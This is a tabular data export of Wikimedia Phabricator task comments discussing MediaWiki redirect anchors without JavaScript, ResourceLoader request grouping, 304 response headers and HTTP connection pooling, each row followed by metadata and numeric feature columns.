+Given the example of a page linking to `Knight 4000`, which is a redirect to `KITT#Knight_4000`. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](https://www.mediawiki.org/wiki/Compatibility), or when JS network request fails), then the user will end up on the `KITT` article with no discoverable way to get to the Knight 4000 section.
+
+Related use cases we don't want to break:
+* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects aren't visible to the user). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
+* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (`rel=canonical`) specified with the url for the regular view of the destination page.
+
+I think we can solve this quite easily nowadays. 
+
+* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).
+
+Example:
+* In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)
+
+Rationale:
+* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
+* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.
+
+Caveats:
+* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't fetched at the moment. This may require an extra query.
+* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the modified page is a redirect.
+",,,1497308042,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+874869,Consider changing wikipage redirects to be proper HTTP redirects,"Retrospect 4 years later.
+
+The main problem:
+
+Given the example of a page linking to `Knight 4000`, which is a redirect to `KITT#Knight_4000`. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](https://www.mediawiki.org/wiki/Compatibility), or when JS network request fails), then the user will end up on the `KITT` article with no discoverable way to get to the Knight 4000 section.
+
+Related use cases we don't want to break:
+* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects aren't visible to the user). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
+* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (`rel=canonical`) specified with the url for the regular view of the destination page.
+
+I think we can solve this quite easily nowadays. 
+
+* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).
+
+Example:
+* In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)
+
+Rationale:
+* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
+* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.
+
+Caveats:
+* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
+* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect.
+",,,1497307930,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+874865,Consider changing wikipage redirects to be proper HTTP redirects,"Retrospect 4 years later.
+
+The main problem:
+
+Given the example of a page linking to `Knight 4000`, which is a redirect to `KITT#Knight_4000`. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](https://www.mediawiki.org/wiki/Compatibility), or when JS network request fails), then the user will end up on the `KITT` article with no discoverable way to get to the Knight 4000 section.
+
+Related use cases we don't want to break:
+* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects are not visible to the user*). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
+* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (`rel=canonical`) specified with the url for the regular view of the destination page.
+
+I think we can solve this quite easily nowadays. 
+
+* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).
+
+Example:
+* In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)
+
+Rationale:
+* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
+* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.
+
+Caveats:
+* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
+* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect.",,,1497307788,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+874864,Consider changing wikipage redirects to be proper HTTP redirects,"Retrospect 4 years later.
+
+The main problem:
+
+Given the example of a page linking to `Knight 4000`, which is a redirect to `KITT#Knight_4000`. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](https://www.mediawiki.org/wiki/Compatibility), or when JS network request fais), then the user will end up on the `KITT` article with no discoverable way to get to the Knight 4000 section.
+
+Related use cases we don't want to break:
+* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects are not visible to the user*). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
+* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (`rel=canonical`) specified with the url for the regular view of the destination page.
+
+I think we can solve this quite easily nowadays. 
+
+* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).
+
+Example:
+* In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)
+
+Rationale:
+* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
+* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.
+
+Caveats:
+* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
+* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect.",,,1497307781,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+874863,Consider changing wikipage redirects to be proper HTTP redirects,"Retrospect 4 years later.
+
+The main problem:
+
+Given the example of a page linking to `Knight 4000`, which is a redirect to `KITT#Knight_4000`. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](https://www.mediawiki.org/wiki/Compatibility), or when JS failed due to network issues), then the user will end up on the `KITT` article with no discoverable way to get to the Knight 4000 section.
+
+Related use cases we don't want to break:
+* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects are not visible to the user*). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
+* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (`rel=canonical`) specified with the url for the regular view of the destination page.
+
+I think we can solve this quite easily nowadays. 
+
+* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).
+
+Example:
+* In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)
+
+Rationale:
+* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
+* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.
+
+Caveats:
+* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
+* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect.",,,1497307765,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+874861,Consider changing wikipage redirects to be proper HTTP redirects,"Retrospect 4 years later.
+
+The main problem:
+
+Given the example of a page linking to `Knight 4000`, which is a redirect to `KITT#Knight_4000`. The problem is that when reading the other page in a browser without JavaScript, the user will end up on the `KITT` article with no discoverable way to get to the Knight 4000 section.
+
+Related use cases we don't want to break:
+* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects are not visible to the user*). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
+* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (`rel=canonical`) specified with the url for the regular view of the destination page.
+
+I think we can solve this quite easily nowadays. 
+
+* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).
+
+Example:
+* In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)
+
+Rationale:
+* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
+* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.
+
+Caveats:
+* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
+* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect.",,,1497307613,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+874858,Consider changing wikipage redirects to be proper HTTP redirects,,,,1497307051,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+874857,Consider changing wikipage redirects to be proper HTTP redirects,,,,1497307041,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+725272,Consider changing wikipage redirects to be proper HTTP redirects,User 24.151.10.165 has added a note about this issue [[ https://en.wikipedia.org/wiki/User_talk:Zazpot#Javascript_redirect_to_section.2Fanchor_dependency | on my talk page ]].,,,1473373052,,PHID-USER-wsghbekue7o6dda2pr5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,158,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+723284,Consider changing wikipage redirects to be proper HTTP redirects,"> Lahwaacz wrote:
+> Is the ""Redirected from"" message really more important than breaking links for browsers with JavaScript disabled? JavaScript should be used to enhance functionality and not to break stuff. Isn't it possible to do it the opposite way and add the ""Redirected from"" message using a JavaScript when the page was loaded through a HTTP redirect?
+
+I agree with Lahwaacz here.",,,1473171071,,PHID-USER-wsghbekue7o6dda2pr5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,157,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+622235,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#556866, @PleaseStand wrote:
+> (In reply to comment #1)
+>> So possible solutions:
+>> 
+>> * When accessed directly, do a proper 301 or 302 redirect instead of target
+>> content with <link rel=canonical>
+> 
+> Not going to happen; see bug 18883. This would make it impossible to include the ""(Redirected from $1)"" message.
+> 
+> So perhaps the best we can do is to add a new ""(Redirected from $1 to section $2)"" message, so the user can at least know what section was supposed to scroll into view, and quickly jump to that section.
+
+Is the ""Redirected from"" message really more important than breaking links for browsers with JavaScript disabled? JavaScript should be used to enhance functionality and not to break stuff. Isn't it possible to do it the opposite way and add the ""Redirected from"" message using a JavaScript when the page was loaded through a HTTP redirect?",,,1457005853,,PHID-USER-qwxkrd4xi74hgc24cflz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,131,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1
+240831,Consider changing wikipage redirects to be proper HTTP redirects,"(In reply to comment #1)
+> So possible solutions:
+> 
+> * When accessed directly, do a proper 301 or 302 redirect instead of target
+> content with <link rel=canonical>
+
+Not going to happen; see bug 18883. This would make it impossible to include the ""(Redirected from $1)"" message.
+
+So perhaps the best we can do is to add a new ""(Redirected from $1 to section $2)"" message, so the user can at least know what section was supposed to scroll into view, and quickly jump to that section.",,,1385046291,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+240824,Consider changing wikipage redirects to be proper HTTP redirects,"If redirects where resolved at the URL level, this would be trivial (we'd include the fragment in the 301 or 302 Location header).
+
+However since MediaWiki doesn't do that, there is no way that I know of to automatically skip to a section without javascript.
+
+Example: Page [[Knight 4000]] is a redirect to section ""Knight 4000"" on page [[KITT#Knight_4000]]
+
+When linking to it from within a page like ""[[Knight 4000]]"" it renders as <a href=""./Knight_4000"">. One could wonder why this isn't resolved server-side, but I imagine it has to do with caching (the redirect target can change, and the article linking to it would have to be purged).
+
+When accessing it directly by url (/wiki/Knight_4000) the server doesn't redirect with 301 or 302, instead it responds normally with the content of the redirect target ([[KITT]] in this case) and the redirectToFragment javascript jumps to the correct section). Note that redirect pages do contain a <link rel=canonical> to avoid these from being indexed as duplicate entries.
+
+So possible solutions:
+
+* When accessed directly, do a proper 301 or 302 redirect instead of target content with <link rel=canonical>
+
+* Or; if the above is infeasible or undesired: Have the MediaWiki parser resolve links inside a page to the redirect target (naturally including the fragment), so that [[Knight 4000]] would result in  <a href=""./KITT#Knight_4000""></a> instead of <a href=""./Knight_4000""></a>. However this is likely even less feasible as that would require us to purge all pages that link to a redirect when the redirect is edited",,,1379474487,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,3,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+53564,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request","In production right now we're causing RL to have to do a separate HTTP request for modules like ""ext.vector.footerCleanup"".
+
+This is pointless, it should be part of the regular queue that is on every page. It was perhaps useful in the past when there were more modules in the ""ext.vector"" group that load on every page from the same queue (so that different pages with different modules in their queue would share this cache), but right now this is the only one left and no longer justified being in a separate request.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=45051",Medium,50.0,1374087000,1374193615.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-3rkdthpflu6blnlykpcv,task_description,resolved,True,c2,1,True,False,True,-6,True,1,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+255767,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request","Change 74315 merged by jenkins-bot:
+Remove cache group ""ext.vector"" from modules definitions
+
+https://gerrit.wikimedia.org/r/74315",,,1374193275,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3rkdthpflu6blnlykpcv,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+255761,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request","True, but that might take a while.
+
+Saving 2 http requests globally is a big fish to catch for such a small bait.",,,1374112552,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3rkdthpflu6blnlykpcv,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+255754,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request","Change 74315 had a related patch set uploaded by Krinkle:
+Remove cache group ""ext.vector"" from modules definitions
+
+https://gerrit.wikimedia.org/r/74315",,,1374112167,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3rkdthpflu6blnlykpcv,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+255747,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request","(In reply to comment #2)
+> Well, the best way to fix this would be to just fix bug 45051.
+
+Agreed.",,,1374111496,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-3rkdthpflu6blnlykpcv,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1
+255740,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request","Well, the best way to fix this would be to just fix bug 45051.",,,1374092637,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3rkdthpflu6blnlykpcv,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0
+255734,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request",Since ext.vector.footerCleanup and ext.vector.collapsibleNav are in the top and bottom queue respectively they also don't load together but are two separate requests.,,,1374087195,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3rkdthpflu6blnlykpcv,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53283,ResourceLoader should not respond with HTTP 304 without Expires (and other) headers,"**Author:** `davidt-mediawiki-bugz`
+
+**Description:**
+There are two code paths that can lead to ResourceLoader.php calling tryRespondLastModified:
+
+ResourceLoader::respond
+  if ( $wgUseFileCache )
+    ResourceLoader::tryRespondFromFileCache
+      ResourceLoader::sendResponseHeaders
+      ResourceLoader::tryRespondLastModified
+
+or
+
+ResourceLoader::respond
+  tryRespondLastModified
+
+Only one of these paths calls ResourceLoader::sendResponseHeaders.
+
+The other path will set a HTTP 304 status and Status: 304 header, but no other headers.  The lack of the Expires header in particular causes a variety of odd problems when using (at least) mod_proxy/mod_disk_cache as an apache-based caching reverse proxy.
+
+Using mod_proxy and mod_disk_cache from apache2 pre-2.2.18, this leads to the proxy returning erroneous 304 responses to clients who sent unconditional requests (see https://issues.apache.org/bugzilla/show_bug.cgi?id=45341).
+
+After the fix/workaround added in 2.2.18, mod_proxy will now correctly send the cached content back to the client, but will then immediately purge the page from the cache, which is not ideal.
+
+I fixed this locally by moving the call to sendResponseHeaders from the first call path after the call to tryRespondLastModified, then adding a call to sendResponseHeaders in tryRespondLastModified itself.
+
+--------------------------
+**See Also**:
+https://issues.apache.org/bugzilla/show_bug.cgi?id=45341",Medium,50.0,1373712000,1430261997.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-j4zaska5aw3ckua7iyl5,task_description,resolved,True,c2,1,False,False,False,-7,True,0,0,0,0,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0
+239263,ResourceLoader should not respond with HTTP 304 without Expires (and other) headers,Could this be the root cause of bug 51766 as well?,,,1374604258,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-j4zaska5aw3ckua7iyl5,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+239256,ResourceLoader should not respond with HTTP 304 without Expires (and other) headers,"Change 74400 had a related patch set uploaded by Catrope:
+Always send headers with a 304 response in ResourceLoader
+
+https://gerrit.wikimedia.org/r/74400",,,1374170123,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-j4zaska5aw3ckua7iyl5,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53272,Performance: Investigate HTTP client connection pooling and HTTP pipelining,"Our API connections are currently using the request library due to bugs in earlier versions of the native http module. We should investigate if those are fixed in 0.8 or 0.10, and then see if we can use a pool of persistent connections per worker. That should hopefully speed things up a bit by removing some latency, and give us control over the maximum concurrency we are requesting per worker.
+
+See also:
+http://nodejs.org/api/http.html#http_class_http_agent
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1373674920,1577124429.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-ps3ceyivxervpiaebadp,task_description,declined,True,c2,1,False,False,False,-7,True,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0
+1416177,Performance: Investigate HTTP client connection pooling and HTTP pipelining,Parsoid/JS is not in use any more.,,,1577124429,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ps3ceyivxervpiaebadp,task_subcomment,,True,c2,3,True,,,329,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0
